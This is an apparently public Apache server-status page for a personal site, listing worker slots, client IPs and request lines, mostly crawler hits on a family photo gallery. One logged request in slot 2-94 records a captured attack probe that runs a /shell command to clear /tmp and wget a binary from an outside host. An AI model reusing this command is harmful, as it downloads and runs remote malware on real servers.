_W__._..._...._......................_.......................... ................................................................ ......................
Scoreboard Key:
"_
" Waiting for Connection,
"S
" Starting up,
"R
" Reading Request,
"W
" Sending Reply,
"K
" Keepalive (read),
"D
" DNS Lookup,
"C
" Closing connection,
"L
" Logging,
"G
" Gracefully finishing,
"I
" Idle cleanup of worker,
".
" Open slot with no current process
Srv | PID | Acc | M | CPU | SS | Req | Dur | Conn | Child | Slot | Client | Protocol | VHost | Request |
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
0-94 | 674477 | 0/264/133492 | _ | 0.39 | 189 | 0 | 7982627 | 0.0 | 1.88 | 7033.45 | 185.191.171.16 | http/1.1 | hairball.mine.nu:443 | GET /~rwa2/pictures/Y2002/FamilyPicnic/tn/20020818_135536_Gargo |
1-94 | 674474 | 0/349/130824 | W | 0.46 | 0 | 0 | 8658429 | 0.0 | 5.46 | 6738.98 | 3.21.46.31 | http/1.1 | 127.0.1.1:80 | GET /server-status HTTP/1.1 |
2-94 | 674485 | 0/308/125804 | _ | 0.41 | 33 | 0 | 8721455 | 0.0 | 2.46 | 6104.60 | 194.85.251.34 | http/1.1 | 127.0.1.1:80 | GET /shell?cd+/tmp;rm+-rf+g4za.x86;nohup+wget+http:/\\/185.232.2 |
3-94 | 674637 | 0/111/124530 | _ | 0.20 | 129 | 0 | 7287415 | 0.0 | 0.52 | 7638.90 | 66.249.66.161 | http/1.1 | hairball.mine.nu:443 | GET /~rwa2/pictures/Y2009/09/tn/20090925_213702.jpg.html HTTP/1 |
4-93 | - | 0/0/120529 | . | 0.00 | 79577 | 0 | 6471317 | 0.0 | 0.00 | 5691.70 | ::1 | http/1.1 | ||
5-94 | 674473 | 0/246/116730 | _ | 0.34 | 83 | 0 | 6700919 | 0.0 | 6.61 | 6205.11 | 132.148.167.243 | http/1.1 | 127.0.1.1:80 | GET /webalizer/usage_202502.html HTTP/1.1 |
6-93 | - | 0/0/115705 | . | 0.00 | 79576 | 0 | 9641277 | 0.0 | 0.00 | 6354.55 | ::1 | http/1.1 | ||
7-93 | - | 0/0/99499 | . | 0.00 | 79583 | 0 | 7242546 | 0.0 | 0.00 | 5122.49 | ::1 | http/1.1 | ||
8-93 | - | 0/0/83402 | . | 0.00 | 79567 | 0 | 5880571 | 0.0 | 0.00 | 4955.44 | ::1 | http/1.1 | ||
9-94 | 674475 | 0/191/65871 | _ | 0.35 | 176 | 0 | 4720770 | 0.0 | 0.72 | 3641.58 | 66.249.66.161 | http/1.1 | hairball.mine.nu:443 | GET /~rwa2/pictures/Y2009/09/tn/20090927_151441.jpg.html HTTP/1 |
10-93 | - | 0/0/51514 | . | 0.00 | 79562 | 0 | 2460611 | 0.0 | 0.00 | 2178.69 | ::1 | http/1.1 | ||
11-93 | - | 0/0/44395 | . | 0.00 | 79566 | 0 | 2547845 | 0.0 | 0.00 | 1677.53 | ::1 | http/1.1 | ||
12-93 | - | 0/0/21300 | . | 0.00 | 79564 | 0 | 1332802 | 0.0 | 0.00 | 1160.87 | ::1 | http/1.1 | ||
13-93 | - | 0/0/13257 | . | 0.00 | 79560 | 0 | 549493 | 0.0 | 0.00 | 498.37 | ::1 | http/1.1 | ||
14-94 | 674476 | 0/247/16652 | _ | 0.24 | 140 | 0 | 2039258 | 0.0 | 0.84 | 522.15 | 85.208.96.201 | http/1.1 | 127.0.1.1:80 | GET /~rwa2/pictures/Y2010/04/tn/video-2010-04-02-19-35-12.3gp.h |
15-93 | - | 0/0/3552 | . | 0.00 | 79582 | 0 | 340452 | 0.0 | 0.00 | 222.74 | ::1 | http/1.1 | ||
16-93 | - | 0/0/4975 | . | 0.00 | 79581 | 0 | 682980 | 0.0 | 0.00 | 229.44 | ::1 | http/1.1 | ||
17-93 | - | 0/0/11545 | . | 0.00 | 79580 | 0 | 867693 | 0.0 | 0.00 | 1881.39 | ::1 | http/1.1 | ||
18-93 | - | 0/0/8798 | . | 0.00 | 79579 | 0 | 445183 | 0.0 | 0.00 | 1222.45 | ::1 | http/1.1 | ||
19-93 | - | 0/0/3235 | . | 0.00 | 79575 | 0 | 115150 | 0.0 | 0.00 | 69.85 | ::1 | http/1.1 | ||
20-93 | - | 0/0/8248 | . | 0.00 | 79574 | 0 | 368266 | 0.0 | 0.00 | 1130.35 | ::1 | http/1.1 | ||
21-93 | - | 0/0/6943 | . | 0.00 | 79573 | 0 | 426846 | 0.0 | 0.00 | 1200.26 | ::1 | http/1.1 | ||
22-93 | - | 0/0/3958 | . | 0.00 | 79572 | 0 | 287237 | 0.0 | 0.00 | 608.98 | ::1 | http/1.1 | ||
23-93 | - | 0/0/3214 | . | 0.00 | 79571 | 0 | 81381 | 0.0 | 0.00 | 744.10 | ::1 | http/1.1 | ||
24-93 | - | 0/0/7558 | . | 0.00 | 79570 | 0 | 615544 | 0.0 | 0.00 | 1274.13 | ::1 | http/1.1 | ||
25-93 | - | 0/0/3032 | . | 0.00 | 79569 | 0 | 70058 | 0.0 | 0.00 | 628.03 | ::1 | http/1.1 | ||
26-93 | - | 0/0/757 | . | 0.00 | 79568 | 0 | 12632 | 0.0 | 0.00 | 7.21 | ::1 | http/1.1 | ||
27-93 | - | 0/0/317 | . | 0.00 | 79565 | 0 | 7804 | 0.0 | 0.00 | 2.54 | ::1 | http/1.1 | ||
28-93 | - | 0/0/3493 | . | 0.00 | 17439 | 0 | 33034 | 0.0 | 0.00 | 17.81 | 66.249.66.160 | http/1.1 | hairball.mine.nu:443 | GET /~rwa2/pictures/Highlights/tn/20040509_103712.jpg.html HTTP |
29-93 | - | 0/0/625 | . | 0.00 | 79561 | 0 | 22132 | 0.0 | 0.00 | 11.13 | ::1 | http/1.1 | ||
30-93 | - | 0/0/719 | . | 0.00 | 39106 | 0 | 22306 | 0.0 | 0.00 | 11.44 | ::1 | http/1.1 | ||
31-93 | - | 0/0/3510 | . | 0.00 | 17439 | 0 | 130288 | 0.0 | 0.00 | 18.03 | 51.222.253.15 | http/1.1 | hairball.mine.nu:443 | GET /~rwa2/pictures/Y2011/08/tn/20110809_173038.jpg.html HTTP/1 |
32-93 | - | 0/0/3503 | . | 0.00 | 17439 | 0 | 35376 | 0.0 | 0.00 | 12.21 | 85.208.96.199 | http/1.1 | hairball.mine.nu:443 | GET /~rwa2/pictures/Y2005/02/tn/20050220_001004.jpg.html HTTP/1 |
33-93 | - | 0/0/4317 | . | 0.00 | 17439 | 0 | 66349 | 0.0 | 0.00 | 127.90 | 66.249.66.162 | http/1.1 | hairball.mine.nu:443 | GET /~rwa2/pictures/Art/tn/chicken.jpg.html HTTP/1.1 |
34-92 | - | 0/0/394 | . | 0.00 | 139488 | 0 | 20318 | 0.0 | 0.00 | 10.94 | ::1 | http/1.1 | ||
35-92 | - | 0/0/574 | . | 0.00 | 107968 | 0 | 19833 | 0.0 | 0.00 | 14.26 | ::1 | http/1.1 | ||
36-92 | - | 0/0/236 | . | 0.00 | 139486 | 0 | 6433 | 0.0 | 0.00 | 3.23 | ::1 | http/1.1 | ||
37-94 | 674472 | 0/233/4302 | _ | 0.22 | 90 | 1 | 122932 | 0.0 | 2.03 | 23.61 | 3.17.183.216 | http/1.1 | 127.0.1.1:80 | GET /webalizer/usage_202308.html HTTP/1.1 |
38-92 | - | 0/0/173 | . | 0.00 | 139484 | 0 | 8647 | 0.0 | 0.00 | 2.56 | ::1 | http/1.1 | ||
39-92 | - | 0/0/151 | . | 0.00 | 139487 | 0 | 7107 | 0.0 | 0.00 | 1.83 | ::1 | http/1.1 | ||
40-92 | - | 0/0/1447 | . | 0.00 | 103827 | 11 | 58222 | 0.0 | 0.00 | 53.71 | 85.208.96.202 | http/1.1 | hairball.mine.nu:443 | GET /~rwa2/pictures/Y2006/06/tn/20060611-154323.jpg.html HTTP/1 |
41-91 | - | 0/0/153 | . | 0.00 | 195556 | 205 | 5807 | 0.0 | 0.00 | 1.87 | ::1 | http/1.1 | ||
42-91 | - | 0/0/124 | . | 0.00 | 195577 | 6 | 3509 | 0.0 | 0.00 | 0.79 | ::1 | http/1.1 | ||
43-91 | - | 0/0/139 | . | 0.00 | 195549 | 0 | 4194 | 0.0 | 0.00 | 1.31 | ::1 | http/1.1 | ||
44-91 | - | 0/0/144 | . | 0.00 | 195542 | 0 | 6871 | 0.0 | 0.00 | 1.93 | ::1 | http/1.1 | ||
45-91 | - | 0/0/110 | . | 0.00 | 195595 | 0 | 2674 | 0.0 | 0.00 | 0.97 | ::1 | http/1.1 | ||
46-91 | - | 0/0/143 | . | 0.00 | 195622 | 200 | 5832 | 0.0 | 0.00 | 1.26 | ::1 | http/1.1 | ||
47-91 | - | 0/0/209 | . | 0.00 | 195617 | 194 | 5015 | 0.0 | 0.00 | 4.92 | ::1 | http/1.1 | ||
48-91 | - | 0/0/156 | . | 0.00 | 195616 | 201 | 5020 | 0.0 | 0.00 | 1.55 | ::1 | http/1.1 | ||
49-91 | - | 0/0/72 | . | 0.00 | 195571 | 0 | 1909 | 0.0 | 0.00 | 0.32 | ::1 | http/1.1 | ||
50-91 | - | 0/0/178 | . | 0.00 | 190384 | 8 | 3148 | 0.0 | 0.00 | 1.48 | ::1 | http/1.1 | ||
51-91 | - | 0/0/4712 | . | 0.00 | 195621 | 196 | 380661 | 0.0 | 0.00 | 404.43 | ::1 | http/1.1 | ||
52-91 | - | 0/0/3727 | . | 0.00 | 190383 | 7 | 397991 | 0.0 | 0.00 | 374.54 | ::1 | http/1.1 | ||
53-91 | - | 0/0/261 | . | 0.00 | 190358 | 215 | 4213 | 0.0 | 0.00 | 1.21 | ::1 | http/1.1 | ||
54-91 | - | 0/0/205 | . | 0.00 | 195603 | 10 | 5933 | 0.0 | 0.00 | 4.16 | ::1 | http/1.1 | ||
55-91 | - | 0/0/118 | . | 0.00 | 195564 | 0 | 4183 | 0.0 | 0.00 | 1.21 | ::1 | http/1.1 | ||
56-91 | - | 0/0/318 | . | 0.00 | 195572 | 0 | 61526 | 0.0 | 0.00 | 16.73 | ::1 | http/1.1 | ||
57-91 | - | 0/0/127 | . | 0.00 | 194921 | 0 | 9652 | 0.0 | 0.00 | 3.64 | ::1 | http/1.1 | ||
58-91 | - | 0/0/99 | . | 0.00 | 195569 | 4 | 3638 | 0.0 | 0.00 | 0.87 | ::1 | http/1.1 | ||
59-91 | - | 0/0/5236 | . | 0.00 | 195552 | 0 | 372136 | 0.0 | 0.00 | 408.19 | ::1 | http/1.1 | ||
60-91 | - | 0/0/196 | . | 0.00 | 195605 | 0 | 6696 | 0.0 | 0.00 | 20.23 | ::1 | http/1.1 | ||
61-91 | - | 0/0/109 | . | 0.00 | 195578 | 0 | 4050 | 0.0 | 0.00 | 1.34 | ::1 | http/1.1 | ||
62-91 | - | 0/0/125 | . | 0.00 | 195548 | 8 | 3856 | 0.0 | 0.00 | 1.30 | ::1 | http/1.1 | ||
63-91 | - | 0/0/114 | . | 0.00 | 195537 | 223 | 9006 | 0.0 | 0.00 | 2.02 | ::1 | http/1.1 | ||
64-91 | - | 0/0/153 | . | 0.00 | 195590 | 0 | 2685 | 0.0 | 0.00 | 0.76 | ::1 | http/1.1 | ||
65-91 | - | 0/0/129 | . | 0.00 | 195579 | 0 | 2534 | 0.0 | 0.00 | 0.96 | ::1 | http/1.1 | ||
66-91 | - | 0/0/156 | . | 0.00 | 195610 | 0 | 5278 | 0.0 | 0.00 | 1.53 | ::1 | http/1.1 | ||
67-91 | - | 0/0/113 | . | 0.00 | 195597 | 5 | 3998 | 0.0 | 0.00 | 1.18 | ::1 | http/1.1 | ||
68-91 | - | 0/0/148 | . | 0.00 | 190382 | 0 | 6515 | 0.0 | 0.00 | 1.42 | ::1 | http/1.1 | ||
69-91 | - | 0/0/194 | . | 0.00 | 195623 | 0 | 7087 | 0.0 | 0.00 | 23.50 | ::1 | http/1.1 | ||
70-91 | - | 0/0/193 | . | 0.00 | 190369 | 0 | 3378 | 0.0 | 0.00 | 1.27 | ::1 | http/1.1 | ||
71-91 | - | 0/0/115 | . | 0.00 | 195575 | 7 | 4130 | 0.0 | 0.00 | 1.35 | ::1 | http/1.1 | ||
72-91 | - | 0/0/142 | . | 0.00 | 195560 | 196 | 6312 | 0.0 | 0.00 | 1.48 | ::1 | http/1.1 | ||
73-91 | - | 0/0/135 | . | 0.00 | 195574 | 0 | 3949 | 0.0 | 0.00 | 0.95 | ::1 | http/1.1 | ||
74-92 | - | 0/0/143 | . | 0.00 | 190163 | 0 | 5251 | 0.0 | 0.00 | 1.59 | ::1 | http/1.1 | ||
75-91 | - | 0/0/130 | . | 0.00 | 195580 | 0 | 2441 | 0.0 | 0.00 | 0.69 | ::1 | http/1.1 | ||
76-91 | - | 0/0/74 | . | 0.00 | 195592 | 0 | 1358 | 0.0 | 0.00 | 0.22 | ::1 | http/1.1 | ||
77-91 | - | 0/0/135 | . | 0.00 | 190370 | 204 | 3875 | 0.0 | 0.00 | 1.34 | ::1 | http/1.1 | ||
78-91 | - | 0/0/112 | . | 0.00 | 195551 | 194 | 1319 | 0.0 | 0.00 | 0.60 | ::1 | http/1.1 | ||
79-91 | - | 0/0/119 | . | 0.00 | 195604 | 0 | 2748 | 0.0 | 0.00 | 1.58 | ::1 | http/1.1 | ||
80-91 | - | 0/0/88 | . | 0.00 | 195589 | 0 | 2654 | 0.0 | 0.00 | 0.36 | ::1 | http/1.1 | ||
81-91 | - | 0/0/114 | . | 0.00 | 195553 | 0 | 1299 | 0.0 | 0.00 | 0.37 | ::1 | http/1.1 | ||
82-91 | - | 0/0/97 | . | 0.00 | 195613 | 197 | 2242 | 0.0 | 0.00 | 0.65 | ::1 | http/1.1 | ||
83-91 | - | 0/0/81 | . | 0.00 | 195566 | 0 | 842 | 0.0 | 0.00 | 0.25 | ::1 | http/1.1 | ||
84-91 | - | 0/0/90 | . | 0.00 | 195612 | 0 | 2085 | 0.0 | 0.00 | 0.79 | ::1 | http/1.1 | ||
85-91 | - | 0/0/169 | . | 0.00 | 195561 | 0 | 3694 | 0.0 | 0.00 | 1.23 | ::1 | http/1.1 | ||
86-91 | - | 0/0/451 | . | 0.00 | 195562 | 0 | 17597 | 0.0 | 0.00 | 18.87 | ::1 | http/1.1 | ||
87-91 | - | 0/0/100 | . | 0.00 | 195536 | 0 | 2503 | 0.0 | 0.00 | 0.70 | ::1 | http/1.1 | ||
88-91 | - | 0/0/43 | . | 0.00 | 195611 | 10 | 1886 | 0.0 | 0.00 | 0.43 | ::1 | http/1.1 | ||
89-91 | - | 0/0/1861 | . | 0.00 | 195607 | 0 | 89229 | 0.0 | 0.00 | 98.83 | ::1 | http/1.1 | ||
90-91 | - | 0/0/95 | . | 0.00 | 195614 | 418 | 1507 | 0.0 | 0.00 | 0.38 | ::1 | http/1.1 | ||
91-91 | - | 0/0/88 | . | 0.00 | 195534 | 0 | 2083 | 0.0 | 0.00 | 0.51 | ::1 | http/1.1 | ||
92-91 | - | 0/0/154 | . | 0.00 | 195606 | 207 | 2210 | 0.0 | 0.00 | 0.76 | ::1 | http/1.1 | ||
93-91 | - | 0/0/124 | . | 0.00 | 195593 | 0 | 3358 | 0.0 | 0.00 | 0.55 | ::1 | http/1.1 | ||
94-91 | - | 0/0/201 | . | 0.00 | 195557 | 4 | 4068 | 0.0 | 0.00 | 4.54 | ::1 | http/1.1 | ||
95-91 | - | 0/0/105 | . | 0.00 | 195559 | 194 | 3598 | 0.0 | 0.00 | 0.83 | ::1 | http/1.1 | ||
96-91 | - | 0/0/64 | . | 0.00 | 195587 | 0 | 2312 | 0.0 | 0.00 | 0.37 | ::1 | http/1.1 | ||
97-91 | - | 0/0/67 | . | 0.00 | 195600 | 0 | 1083 | 0.0 | 0.00 | 0.27 | ::1 | http/1.1 | ||
98-91 | - | 0/0/43 | . | 0.00 | 195565 | 0 | 1014 | 0.0 | 0.00 | 0.40 | ::1 | http/1.1 | ||
99-91 | - | 0/0/123 | . | 0.00 | 195626 | 0 | 2059 | 0.0 | 0.00 | 0.75 | ::1 | http/1.1 | ||
100-91 | - | 0/0/69 | . | 0.00 | 195576 | 0 | 589 | 0.0 | 0.00 | 0.29 | ::1 | http/1.1 | ||
101-91 | - | 0/0/59 | . | 0.00 | 195625 | 0 | 1893 | 0.0 | 0.00 | 0.69 | ::1 | http/1.1 | ||
102-91 | - | 0/0/66 | . | 0.00 | 195554 | 4 | 2613 | 0.0 | 0.00 | 0.36 | ::1 | http/1.1 | ||
103-91 | - | 0/0/168 | . | 0.00 | 195618 | 389 | 2374 | 0.0 | 0.00 | 0.79 | ::1 | http/1.1 | ||
104-91 | - | 0/0/1596 | . | 0.00 | 195538 | 0 | 61620 | 0.0 | 0.00 | 61.21 | ::1 | http/1.1 | ||
105-91 | - | 0/0/41 | . | 0.00 | 195624 | 11 | 1435 | 0.0 | 0.00 | 0.34 | ::1 | http/1.1 | ||
106-91 | - | 0/0/66 | . | 0.00 | 195532 | 0 | 626 | 0.0 | 0.00 | 0.30 | ::1 | http/1.1 | ||
107-91 | - | 0/0/46 | . | 0.00 | 221966 | 9 | 2988 | 0.0 | 0.00 | 0.77 | ::1 | http/1.1 | ||
108-91 | - | 0/0/89 | . | 0.00 | 221785 | 0 | 1091 | 0.0 | 0.00 | 0.32 | ::1 | http/1.1 | ||
109-91 | - | 0/0/6 | . | 0.00 | 222027 | 0 | 22 | 0.0 | 0.00 | 0.01 | ::1 | http/1.1 | ||
110-91 | - | 0/0/33 | . | 0.00 | 221994 | 0 | 124 | 0.0 | 0.00 | 0.14 | ::1 | http/1.1 | ||
111-91 | - | 0/0/76 | . | 0.00 | 222126 | 0 | 2811 | 0.0 | 0.00 | 0.37 | ::1 | http/1.1 | ||
112-91 | - | 0/0/56 | . | 0.00 | 222125 | 0 | 1508 | 0.0 | 0.00 | 0.24 | ::1 | http/1.1 | ||
113-91 | - | 0/0/11 | . | 0.00 | 222124 | 13 | 69 | 0.0 | 0.00 | 0.02 | ::1 | http/1.1 | ||
114-91 | - | 0/0/18 | . | 0.00 | 222123 | 0 | 1929 | 0.0 | 0.00 | 0.46 | ::1 | http/1.1 | ||
115-91 | - | 0/0/2 | . | 0.00 | 222122 | 0 | 1 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
116-91 | - | 0/0/18 | . | 0.00 | 221998 | 11 | 629 | 0.0 | 0.00 | 0.19 | ::1 | http/1.1 | ||
117-91 | - | 0/0/20 | . | 0.00 | 222121 | 17 | 164 | 0.0 | 0.00 | 0.04 | ::1 | http/1.1 | ||
118-91 | - | 0/0/17 | . | 0.00 | 222120 | 5 | 1017 | 0.0 | 0.00 | 0.20 | ::1 | http/1.1 | ||
119-91 | - | 0/0/12 | . | 0.00 | 222119 | 0 | 89 | 0.0 | 0.00 | 0.02 | ::1 | http/1.1 | ||
120-91 | - | 0/0/9 | . | 0.00 | 222118 | 3 | 49 | 0.0 | 0.00 | 0.01 | ::1 | http/1.1 | ||
121-91 | - | 0/0/2 | . | 0.00 | 222117 | 0 | 1 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
122-91 | - | 0/0/1 | . | 0.00 | 222116 | 0 | 0 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
123-91 | - | 0/0/1 | . | 0.00 | 222115 | 0 | 0 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
124-91 | - | 0/0/5 | . | 0.00 | 222113 | 0 | 19 | 0.0 | 0.00 | 0.01 | ::1 | http/1.1 | ||
125-91 | - | 0/0/1 | . | 0.00 | 222114 | 0 | 0 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
126-91 | - | 0/0/11 | . | 0.00 | 221995 | 0 | 61 | 0.0 | 0.00 | 0.02 | ::1 | http/1.1 | ||
127-91 | - | 0/0/1 | . | 0.00 | 222112 | 0 | 0 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
128-91 | - | 0/0/1 | . | 0.00 | 222111 | 0 | 1 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
129-91 | - | 0/0/9 | . | 0.00 | 221983 | 0 | 2168 | 0.0 | 0.00 | 0.12 | ::1 | http/1.1 | ||
130-91 | - | 0/0/43 | . | 0.00 | 222110 | 0 | 1222 | 0.0 | 0.00 | 0.22 | ::1 | http/1.1 | ||
131-91 | - | 0/0/9 | . | 0.00 | 221964 | 0 | 1012 | 0.0 | 0.00 | 0.18 | ::1 | http/1.1 | ||
132-91 | - | 0/0/3 | . | 0.00 | 222109 | 0 | 43 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
133-91 | - | 0/0/2 | . | 0.00 | 222108 | 15 | 31 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
134-91 | - | 0/0/2 | . | 0.00 | 222107 | 0 | 1 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
137-91 | - | 0/0/2 | . | 0.00 | 226080 | 0 | 1 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
139-91 | - | 0/0/2 | . | 0.00 | 226075 | 14 | 30 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
140-91 | - | 0/0/1 | . | 0.00 | 226079 | 0 | 1 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
141-91 | - | 0/0/1 | . | 0.00 | 226078 | 0 | 1 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
143-91 | - | 0/0/1 | . | 0.00 | 226100 | 0 | 1 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 |
Srv | Child Server number - generation |
---|---|
PID | OS process ID |
Acc | Number of accesses this connection / this child / this slot |
M | Mode of operation |
CPU | CPU usage, number of seconds |
SS | Seconds since beginning of most recent request |
Req | Milliseconds required to process most recent request |
Dur | Sum of milliseconds required to process all requests |
Conn | Kilobytes transferred this connection |
Child | Megabytes transferred this child |
Slot | Total megabytes transferred this slot |
SSL/TLS Session Cache Status: |
cache type: SHMCB, shared memory: 512000 bytes, current entries: 10 subcaches: 32, indexes per subcache: 88 time left on oldest entries' objects: avg: 95 seconds, (range: 18...165) index usage: 0%, cache usage: 0% total entries stored since starting: 706 total entries replaced since starting: 0 total entries expired since starting: 695 total (pre-expiry) entries scrolled out of the cache: 0 total retrieves since starting: 0 hit, 31 miss total removes since starting: 1 hit, 1 miss |